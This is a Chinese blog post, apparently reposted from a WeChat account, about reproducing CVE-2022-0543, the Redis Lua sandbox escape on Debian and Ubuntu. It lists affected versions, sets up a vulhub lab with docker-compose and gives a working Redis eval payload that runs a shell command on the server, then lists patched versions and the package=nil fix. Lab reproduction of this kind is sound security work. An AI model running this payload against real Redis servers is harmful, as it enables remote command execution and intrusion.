redis 是完全开源的,遵守 BSD 协议,是一个高性能的 key-value 数据库。造成redis沙盒逃逸漏洞的原因主要是由于redis lua,redis嵌入了lua编程语言作为其脚本引擎,可通过eval命令使用lua,lua引擎是沙盒化的,不能在运行redis的服务器上执行任意代码。但在Debian以及ubuntu发行版上,由于打包问题,在lua沙箱中遗留了一个对象package,攻击者可以利用这个对象package逃逸redis lua沙盒,在运行redis的服务器上执行任意命令。
-
2.2 <= redis < 5.0.13
-
2.2 <= redis < 6.0.15
-
2.2 <= redis < 6.2.5
通过vulhub搭建漏洞环境
第一步:
执行git clone https://github.com/vulhub/vulhub
第二步:
进入vulhub/redis/CVE-2022-0543目录
cd vulhub/redis/CVE-2022-0543
第三步:
启动docker漏洞环境
docker-compose up -d
第四步:
查看漏洞环境映射端口
执行docker-compose ps,即可查看漏洞环境端口为6379
第一步:
使用RedisDesktopManage连接目标redis数据库,RedisDesktopManage下载地址为:
https://github.com/uglide/RedisDesktopManager/releases/tag/0.9.3
第二步:
点击Open Console,调出redis cmd
第三步:
在redis cmd执行以下语句,即可在安装redis的服务器上执行whoami命令
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0
将redis软件包升级更新到以下版本
Debian:
-
Debian Redis(buster):5:5.0.14-1+deb10u2
-
Debian Redis(bullseye):5:6.0.16-1+deb11u2
-
Debian Redis(unstable):5:6.0.16-2
Ubuntu:
-
Ubuntu 21.10 Redis:5:6.0.15-1ubuntu0.1
-
Ubuntu 20.04 Redis:5:5.0.7-2ubuntu0.1
修复方法:在 Lua 初始化的末尾添加package=nil
原文始发于微信公众号(第59号):CVE-2022-0543:redis沙盒逃逸漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论